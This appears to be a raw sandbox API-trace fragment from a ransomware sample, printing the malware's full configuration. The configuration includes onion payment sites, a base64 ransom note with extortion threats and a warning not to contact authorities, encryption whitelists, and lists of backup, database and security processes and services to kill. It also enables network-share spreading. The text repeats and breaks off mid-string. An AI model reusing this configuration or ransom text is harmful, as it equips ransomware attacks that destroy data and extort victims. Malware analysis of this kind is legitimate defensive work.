vbGVuICBieSBvdXIgYW5hbHlzdCBleHBlcnRzIGFuZCBpZiB5b3UgY2hvb3NlIHRvIG5vIGNvb3BlcmF0ZSB3aXRoIHVzLCB5b3UgIGFyZSBleHBvc2luZyB5b3Vyc2VsZiANCnRvIGh1Z2UgcGVuYWx0aWVzIHdpdGggbGF3c3VpdHMgYW5kIGdvdmVybm1lbnQgaWYgd2UgYm90aCBkb24ndCBmaW5kICBhbiBhZ3JlZW1lbnQuIFdlIGhhdmUgc2VlbiBpdCBiZWZvcmU7IGNhc2VzIHdpdGggbXVsdGkgbWlsbGlvbiBjb3N0cyBpbiAgZmluZXMgYW5kIGxhd3N1aXRzLCANCm5vdCB0byBtZW50aW9uIHRoZSBjb21wYW55IHJlcHV0YXRpb24gYW5kIGxvc2luZyBjbGllbnRzIHRydXN0IGFuZCAgdGhlIG1lZGlhcyBjYWxsaW5nIG5vbi1zdG9wIGZvciBhbnN3ZXJzLiBDb21lIGNoYXQgd2l0aCB1cyBhbmQgeW91IGNvdWxkICBiZSBzdXJwcmlzZWQgb24gaG93IA0KZmFzdCB3ZSBib3RoIGNhbiBmaW5kIGFuIGFncmVlbWVudCB3aXRob3V0IGdldHRpbmcgdGhpcyBpbmNpZGVudCBwdWJsaWMuIA0KLS0NCioqKiANCklGIFlPVSBBUkUgQU4gRU1QTE9ZRVIgT0YgQSBDT01QQU5ZIFRIRU4gWU9VIFNIT1VMRCBLTk9XIFRIQVQgU1BSRUFESU5HIFNFTlNJVElWRSBJTkZPUk1BVElPTiBBQk9VVCBZT1VSIENPTVBBTlkgQkVJTkcgQ09NUFJPTUlTRUQgSVMgQSBWSU9MQVRJT04gT0YgQ09ORklERU5USUFMSVRZLiANCllPVVIgQ09NUEFOWSdTIFJFUFVUQVRJT04gV0lMTCBTVUZGRVIgQU5EIFNBTkNUSU9OUyBXSUxMIEJFIFRBS0VOIEFHQUlOU1QgWU9VLiANCg0KLS0NCg0KV0UgSElHSExZIFNVR0dFU1QgVEhBVCBZT1UgRE9OJ1QgQ09OVEFDVCBUSEUgQVVUSE9SSVRJRVMgUkVHQVJESU5HIFRISVMgSU5DSURFTlQgQkVDQVVTRSBJRiBZT1UgRE8sIFRIRU4gQVVUSE9SSVRJRVMgV0lMTCBNQUtFIFRISVMgUFVCTElDIFdISUNIIENPTUVTIFdJVEggQSBDT1NUIEZPUiBZT1VSDQpFTlRFUlBSSVNFLiBUSEUgUkVDT1ZFUlkgUFJPQ0VTUyBPRiBZT1VSIEZJTEVTIFdJTEwgQkUgRkFTVEVSIElGIFlPVSBDT01FIEFORCBDSEFUIFdJVEggVVMgRUFSTFkuIElGIFlPVSBDSE9PU0UgVE8gQ09PUEVSQVRFLCBZT1UgV0lMTCBTRUUgVEhBVCBXRSBBUkUgUFJPRkVTU0lPTkFMUyBXSE8gR0lWRVMNCkdPT0QgU1VQUE9SVC4NCg0KKioqDQotLSANCg0KU3RlcHMgdG8gZ2V0IGFjY2VzcyBvbiBvdXIgd2Vic2l0ZTogDQoNCjEuRG93bmxvYWQgYW5kIGluc3RhbGwgdG9yLWJyb3dzZXI6IGh0dHBzOi8vdG9ycHJvamVjdC5vcmcvIA0KDQoyLk9wZW4gb3VyIHdlYnNpdGU6IHtvbmlvbjF9IA0KSWYgdGhlIHdlYnNpdGUgaXMgbm90IGF2YWlsYWJsZSwgb3BlbiBhbm90aGVyIG9uZToge29uaW9uMn0gDQoNCjMuUHV0IHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgaW5wdXQgZm9ybTogDQoNCntjb2RlfQ==\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:\\\\users\\\\*\\\\*temp\",\"*msocache\",\"*:\\\\winnt\",\"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:\\\\windows\",\"*:\\\\program file*\\\\vmware\",\"\\\\\\\\*\\\\users\\\\*\\\\*temp\",\"\\\\\\\\*\\\\winnt\",\"\\\\\\\\*\\\\windows\",\"*\\\\program file*\\\\vmware\",\"*appdata*microsoft\",\"*appdata*packages\",\"*microsoft\\\\provisioning\",\"*dvd maker\",\"*Internet Explorer\",\"*Mozilla\",\"*Mozilla*\",\"*Old Firefox data\",\"*\\\\program file*\\\\windows media*\",\"*\\\\program file*\\\\windows portable*\",\"*windows defender\",\"*\\\\program file*\\\\windows nt\",\"*\\\\program file*\\\\windows photo*\",\"*\\\\program file*\\\\windows side*\",\"*\\\\program file*\\\\windowspowershell\",\"*\\\\program file*\\\\cuass*\",\"*\\\\program file*\\\\microsoft games\",\"*\\\\program file*\\\\common files\\\\system\",\"*\\\\program file*\\\\common files\\\\*shared\",\"*\\\\program file*\\\\common files\\\\reference ass*\",\"*\\\\windows\\\\cache*\",\"*temporary internet*\",\"*media player\",\"*:\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\",\"\\\\\\\\*\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\",\"*\\\\Program File*\\\\Cisco\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\",\"usrclass.dat*\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"],\"extfree\":[\"jpg\",\"jpeg\",\"png\",\"bmp\",\"doc\",\"docx\"]},\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc*\"],\"svcwait\":0,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\"back\"]},\"net\":{\"use\":true,\"ignore\":{\"use\":true,\"disk\":true,\"share\":[\"ipc$\",\"admin$\"]}},\"unlocker\":{\"use\":true,\"ignore\":{\"use\":true,\"pspath\":[\"*:\\\\windows*\",\"*:\\\\winnt*\",\"*:\\\\program file*\\\\vmwar*\",\"*\\\\Program File*\\\\Fortinet\",\"*\\\\Program File*\\\\Cisco\"],\"prc\":[\"psexec.exe\",\"system\",\"forti*.exe\",\"fmon.exe\",\"fcaptmon.exe\",\"FCHelper64.exe\"]}}}") returned 15360 [0085.140] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b824d80, Size=0x20) returned 0x1b7ba6f0 [0085.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b7ba540 [0085.140] strtol (in: _Str="1500,\"idsz\":6,\"encname\":true,\"onion1\":\"pb36hu4spl6cyjdfhing7h3pw6dhpk32ifemawkujj4gp33ejzdq3did.onion\",\"onion2\":\"rnfdsgm6wb6j6su5txkekw4u4y47kp2eatvu7d6xhyn5cs4lt4pdrqqd.onion\",\"lfile\":\"{id}-Readme.txt\",\"lend\":\"SGkhIA0KWW91ciBmaWxlcyBhcmUgZW5jcnlwdGVkLiANCkFsbCBlbmNyeXB0ZWQgZmlsZXMgZm9yIHRoaXMgY29tcHV0ZXIgaGFzIGV4dGVuc2lvbjogLntpZH0gDQoNCllvdXIgZmlsZW5hbWVzIGNhbiBiZSBlbmNyeXB0ZWQgdG9vLCBleGNlcHQgZXh0ZW5zaW9ucyBmb3IgZnJlZSBkZWNyeXB0Lg0KDQotLSANCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLCANCnRoaXMgY2FuIGJlIHVuZGVyc3Rvb2QgYnkgdGhlIGZhY3QgdGhhdCB0aGUgY29tcHV0ZXIgc2xvd3MgZG93biwgDQphbmQgeW91ciBoZWFydCByYXRlIGhhcyBpbmNyZWFzZWQgZHVlIHRvIHRoZSBhYmlsaXR5IHRvIHR1cm4gaXQgb2ZmLCANCnRoZW4gd2UgcmVjb21tZW5kIHRoYXQgeW91IG1vdmUgYXdheSBmcm9tIHRoZSBjb21wdXRlciBhbmQgYWNjZXB0IHRoYXQgeW91IGhhdmUgYmVlbiBjb21wcm9taXNlZC4gDQpSZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeS4gDQoNCi0tIA0KT3VyICBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCANCnRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLiANCg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHRlciBwcm9ncmFtLCB5b3UgbWF5IGRhbWFnZSB0aGVtIGFuZCB0aGVuIHRoZXkgd2lsbCBiZSBpbXBvc3NpYmxlIHRvIHJlY292ZXIuIA0KDQotLQ0KDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IGZldyBmaWxlcyBmb3IgZnJlZS4gDQpKdXN0IG9wZW4gb3VyIHdlYnNpdGUsIHVwbG9hZCB0aGUgZW5jcnlwdGVkIGZpbGVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlZCBmaWxlcyBmb3IgZnJlZS4gDQoNCkFkZGl0aW9uYWxseSwgeW91IG11c3Qga25vdyB0aGF0IHlvdXIgc2Vuc2l0aXZlIGRhdGEgaGFzIGJlZW4gc3RvbGVuICBieSBvdXIgYW5hbHlzdCBleHBlcnRzIGFuZCBpZiB5b3UgY2hvb3NlIHRvIG5vIGNvb3BlcmF0ZSB3aXRoIHVzLCB5b3UgIGFyZSBleHBvc2luZyB5b3Vyc2VsZiANCnRvIGh1Z2UgcGVuYWx0aWVzIHdpdGggbGF3c3VpdHMgYW5kIGdvdmVybm1lbnQgaWYgd2UgYm90aCBkb24ndCBmaW5kICBhbiBhZ3JlZW1lbnQuIFdlIGhhdmUgc2VlbiBpdCBiZWZvcmU7IGNhc2VzIHdpdGggbXVsdGkgbWlsbGlvbiBjb3N0cyBpbiAgZmluZXMgYW5kIGxhd3N1aXRzLCANCm5vdCB0byBtZW50aW9uIHRoZSBjb21wYW55IHJlcHV0YXRpb24gYW5kIGxvc2luZyBjbGllbnRzIHRydXN0IGFuZCAgdGhlIG1lZGlhcyBjYWxsaW5nIG5vbi1zdG9wIGZvciBhbnN3ZXJzLiBDb21lIGNoYXQgd2l0aCB1cyBhbmQgeW91IGNvdWxkICBiZSBzdXJwcmlzZWQgb24gaG93IA0KZmFzdCB3ZSBib3RoIGNhbiBmaW5kIGFuIGFncmVlbWVudCB3aXRob3V0IGdldHRpbmcgdGhpcyBpbmNpZGVudCBwdWJsaWMuIA0KLS0NCioqKiANCklGIFlPVSBBUkUgQU4gRU1QTE9ZRVIgT0YgQSBDT01QQU5ZIFRIRU4gWU9VIFNIT1VMRCBLTk9XIFRIQVQgU1BSRUFESU5HIFNFTlNJVElWRSBJTkZPUk1BVElPTiBBQk9VVCBZT1VSIENPTVBBTlkgQkVJTkcgQ09NUFJPTUlTRUQgSVMgQSBWSU9MQVRJT04gT0YgQ09ORklERU5USUFMSVRZLiANCllPVVIgQ09NUEFOWSdTIFJFUFVUQVRJT04gV0lMTCBTVUZGRVIgQU5EIFNBTkNUSU9OUyBXSUxMIEJFIFRBS0VOIEFHQUlOU1QgWU9VLiANCg0KLS0NCg0KV0UgSElHSExZIFNVR0dFU1QgVEhBVCBZT1UgRE9OJ1QgQ09OVEFDVCBUSEUgQVVUSE9SSVRJRVMgUkVHQVJESU5HIFRISVMgSU5DSURFTlQgQkVDQVVTRSBJRiBZT1UgRE8sIFRIRU4gQVVUSE9SSVRJRVMgV0lMTCBNQUtFIFRISVMgUFVCTElDIFdISUNIIENPTUVTIFdJVEggQSBDT1NUIEZPUiBZT1VSDQpFTlRFUlBSSVNFLiBUSEUgUkVDT1ZFUlkgUFJPQ0VTUyBPRiBZT1VSIEZJTEVTIFdJTEwgQkUgRkFTVEVSIElGIFlPVSBDT01FIEFORCBDSEFUIFdJVEggVVMgRUFSTFkuIElGIFlPVSBDSE9PU0UgVE8gQ09PUEVSQVRFLCBZT1UgV0lMTCBTRUUgVEhBVCBXRSBBUkUgUFJPRkVTU0lPTkFMUyBXSE8gR0lWRVMNCkdPT0QgU1VQUE9SVC4NCg0KKioqDQotLSANCg0KU3RlcHMgdG8gZ2V0IGFjY2VzcyBvbiBvdXIgd2Vic2l0ZTogDQoNCjEuRG93bmxvYWQgYW5kIGluc3RhbGwgdG9yLWJyb3dzZXI6IGh0dHBzOi8vdG9ycHJvamVjdC5vcmcvIA0KDQoyLk9wZW4gb3VyIHdlYnNpdGU6IHtvbmlvbjF9IA0KSWYgdGhlIHdlYnNpdGUgaXMgbm90IGF2YWlsYWJsZSwgb3BlbiBhbm90aGVyIG9uZToge29uaW9uMn0gDQoNCjMuUHV0IHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgaW5wdXQgZm9ybTogDQoNCntjb2RlfQ==\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:\\\\users\\\\*\\\\*temp\",\"*msocache\",\"*:\\\\winnt\",\"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:\\\\windows\",\"*:\\\\program file*\\\\vmware\",\"\\\\\\\\*\\\\users\\\\*\\\\*temp\",\"\\\\\\\\*\\\\winnt\",\"\\\\\\\\*\\\\windows\",\"*\\\\program file*\\\\vmware\",\"*appdata*microsoft\",\"*appdata*packages\",\"*microsoft\\\\provisioning\",\"*dvd maker\",\"*Internet Explorer\",\"*Mozilla\",\"*Mozilla*\",\"*Old Firefox data\",\"*\\\\program file*\\\\windows media*\",\"*\\\\program file*\\\\windows portable*\",\"*windows defender\",\"*\\\\program file*\\\\windows nt\",\"*\\\\program file*\\\\windows photo*\",\"*\\\\program file*\\\\windows side*\",\"*\\\\program file*\\\\windowspowershell\",\"*\\\\program file*\\\\cuass*\",\"*\\\\program file*\\\\microsoft games\",\"*\\\\program file*\\\\common files\\\\system\",\"*\\\\program file*\\\\common files\\\\*shared\",\"*\\\\program file*\\\\common files\\\\reference ass*\",\"*\\\\windows\\\\cache*\",\"*temporary internet*\",\"*media player\",\"*:\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\",\"\\\\\\\\*\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\",\"*\\\\Program File*\\\\Cisco\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\",\"usrclass.dat*\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"],\"extfree\":[\"jpg\",\"jpeg\",\"png\",\"bmp\",\"doc\",\"docx\"]},\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc*\"],\"svcwait\":0,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\"back\"]},\"net\":{\"use\":true,\"ignore\":{\"use\":true,\"disk\":true,\"share\":[\"ipc$\",\"admin$\"]}},\"unlocker\":{\"use\":true,\"ignore\":{\"use\":true,\"pspath\":[\"*:\\\\windows*\",\"*:\\\\winnt*\",\"*:\\\\program file*\\\\vmwar*\",\"*\\\\Program File*\\\\Fortinet\",\"*\\\\Program File*\\\\Cisco\"],\"prc\":[\"psexec.exe\",\"system\",\"forti*.exe\",\"fmon.exe\",\"fcaptmon.exe\",\"FCHelper64.exe\"]}}}", _EndPtr=0x1c7fe1e0, _Radix=0 | out: _EndPtr=0x1c7fe1e0*=",\"idsz\":6,\"encname\":true,\"onion1\":\"pb36hu4spl6cyjdfhing7h3pw6dhpk32ifemawkujj4gp33ejzdq3did.onion\",\"onion2\":\"rnfdsgm6wb6j6su5txkekw4u4y47kp2eatvu7d6xhyn5cs4lt4pdrqqd.onion\",\"lfile\":\"{id}-Readme.txt\",\"lend\":\"SGkhIA0KWW91ciBmaWxlcyBhcmUgZW5jcnlwdGVkLiANCkFsbCBlbmNyeXB0ZWQgZmlsZXMgZm9yIHRoaXMgY29tcHV0ZXIgaGFzIGV4dGVuc2lvbjogLntpZH0gDQoNCllvdXIgZmlsZW5hbWVzIGNhbiBiZSBlbmNyeXB0ZWQgdG9vLCBleGNlcHQgZXh0ZW5zaW9ucyBmb3IgZnJlZSBkZWNyeXB0Lg0KDQotLSANCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLCANCnRoaXMgY2FuIGJlIHVuZGVyc3Rvb2QgYnkgdGhlIGZhY3QgdGhhdCB0aGUgY29tcHV0ZXIgc2xvd3MgZG93biwgDQphbmQgeW91ciBoZWFydCByYXRlIGhhcyBpbmNyZWFzZWQgZHVlIHRvIHRoZSBhYmlsaXR5IHRvIHR1cm4gaXQgb2ZmLCANCnRoZW4gd2UgcmVjb21tZW5kIHRoYXQgeW91IG1vdmUgYXdheSBmcm9tIHRoZSBjb21wdXRlciBhbmQgYWNjZXB0IHRoYXQgeW91IGhhdmUgYmVlbiBjb21wcm9taXNlZC4gDQpSZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeS4gDQoNCi0tIA0KT3VyICBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCANCnRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLiANCg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHRlciBwcm9ncmFtLCB5b3UgbWF5IGRhbWFnZSB0aGVtIGFuZCB0aGVuIHRoZXkgd2lsbCBiZSBpbXBvc3NpYmxlIHRvIHJlY292ZXIuIA0KDQotLQ0KDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IGZldyBmaWxlcyBmb3IgZnJlZS4gDQpKdXN0IG9wZW4gb3VyIHdlYnNpdGUsIHVwbG9hZCB0aGUgZW5jcnlwdGVkIGZpbGVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlZCBmaWxlcyBmb3IgZnJlZS4gDQoNCkFkZGl0aW9uYWxseSwgeW91IG11c3Qga25vdyB0aGF0IHlvdXIgc2Vuc2l0aXZlIGRhdGEgaGFzIGJlZW4gc3RvbGVuICBieSBvdXIgYW5hbHlzdCBleHBlcnRzIGFuZCBpZiB5b3UgY2hvb3NlIHRvIG5vIGNvb3BlcmF0ZSB3aXRoIHVzLCB5b3UgIGFyZSBleHBvc2luZyB5b3Vyc2VsZiANCnRvIGh1Z2UgcGVuYWx0aWVzIHdpdGggbGF3c3VpdHMgYW5kIGdvdmVybm1lbnQgaWYgd2UgYm90aCBkb24ndCBmaW5kICBhbiBhZ3JlZW1lbnQuIFdlIGhhdmUgc2VlbiBpdCBiZWZvcmU7IGNhc2VzIHdpdGggbXVsdGkgbWlsbGlvbiBjb3N0cyBpbiAgZmluZXMgYW5kIGxhd3N1aXRzLCANCm5vdCB0byBtZW50aW9uIHRoZSBjb21wYW55IHJlcHV0YXRpb24gYW5kIGxvc2luZyBjbGllbnRzIHRydXN0IGFuZCAgdGhlIG1lZGlhcyBjYWxsaW5nIG5vbi1zdG9wIGZvciBhbnN3ZXJzLiBDb21lIGNoYXQgd2l0aCB1cyBhbmQgeW91IGNvdWxkICBiZSBzdXJwcmlzZWQgb24gaG93IA0KZmFzdCB3ZSBib3RoIGNhbiBmaW5kIGFuIGFncmVlbWVudCB3aXRob3V0IGdldHRpbmcgdGhpcyBpbmNpZGVudCBwdWJsaWMuIA0KLS0NCioqKiANCklGIFlPVSBBUkUgQU4gRU1QTE9ZRVIgT0YgQSBDT01QQU5ZIFRIRU4gWU9VIFNIT1VMRCBLTk9XIFRIQVQgU1BSRUFESU5HIFNFTlNJVElWRSBJTkZPUk1BVElPTiBBQk9VVCBZT1VSIENPTVBBTlkgQkVJTkcgQ09NUFJPTUlTRUQgSVMgQSBWSU9MQVRJT04gT0YgQ09ORklERU5USUFMSVRZLiANCllPVVIgQ09NUEFOWSdTIFJFUFVUQVRJT04gV0lMTCBTVUZGRVIgQU5EIFNBTkNUSU9OUyBXSUxMIEJFIFRBS0VOIEFHQUlOU1QgWU9VLiANCg0KLS0NCg0KV0UgSElHSExZIFNVR0dFU1QgVEhBVCBZT1UgRE9OJ1QgQ09OVEFDVCBUSEUgQVVUSE9SSVRJRVMgUkVHQVJESU5HIFRISVMgSU5DSURFTlQgQkVDQVVTRSBJRiBZT1UgRE8sIFRIRU4gQVVUSE9SSVRJRVMgV0lMTCBNQUtFIFRISVMgUFVCTElDIFdISUNIIENPTUVTIFdJVEggQSBDT1NUIEZPUiBZT1VSDQpFTlRFUlBSSVNFLiBUSEUgUkVDT1ZFUlkgUFJPQ0VTUyBPRiBZT1VSIEZJTEVTIFdJTEwgQkUgRkFTVEVSIElGIFlPVSBDT01FIEFORCBDSEFUIFdJVEggVVMgRUFSTFkuIElGIFlPVSBDSE9PU0UgVE8gQ09PUEVSQVRFLCBZT1UgV0lMTCBTRUUgVEhBVCBXRSBBUkUgUFJPRkVTU0lPTkFMUyBXSE8gR0lWRVMNCkdPT0QgU1VQUE9SVC4NCg0KKioqDQotLSANCg0KU3RlcHMgdG8gZ2V0IGFjY2VzcyBvbiBvdXIgd2Vic2l0ZTogDQoNCjEuRG93bmxvYWQgYW5kIGluc3RhbGwgdG9yLWJyb3dzZXI6IGh0dHBzOi8vdG9ycHJvamVjdC5vcmcvIA0KDQoyLk9wZW4gb3VyIHdlYnNpdGU6IHtvbmlvbjF9IA0KSWYgdGhlIHdlYnNpdGUgaXMgbm90IGF2YWlsYWJsZSwgb3BlbiBhbm90aGVyIG9uZToge29uaW9uMn0gDQoNCjMuUHV0IHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgaW5wdXQgZm9ybTogDQoNCntjb2RlfQ==\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:\\\\users\\\\*\\\\*temp\",\"*msocache\",\"*:\\\\winnt\",\"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:\\\\windows\",\"*:\\\\program file*\\\\vmware\",\"\\\\\\\\*\\\\users\\\\*\\\\*temp\",\"\\\\\\\\*\\\\winnt\",\"\\\\\\\\*\\\\windows\",\"*\\\\program file*\\\\vmware\",\"*appdata*microsoft\",\"*appdata*packages\",\"*microsoft\\\\provisioning\",\"*dvd maker\",\"*Internet Explorer\",\"*Mozilla\",\"*Mozilla*\",\"*Old Firefox data\",\"*\\\\program file*\\\\windows media*\",\"*\\\\program file*\\\\windows portable*\",\"*windows defender\",\"*\\\\program file*\\\\windows nt\",\"*\\\\program file*\\\\windows photo*\",\"*\\\\program file*\\\\windows side*\",\"*\\\\program file*\\\\windowspowershell\",\"*\\\\program file*\\\\cuass*\",\"*\\\\program file*\\\\microsoft games\",\"*\\\\program file*\\\\common files\\\\system\",\"*\\\\program file*\\\\common files\\\\*shared\",\"*\\\\program file*\\\\common files\\\\reference ass*\",\"*\\\\windows\\\\cache*\",\"*temporary internet*\",\"*media player\",\"*:\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\",\"\\\\\\\\*\\\\users\\\\*\\\\appdata\\\\*\\\\microsoft\",\"*\\\\Program 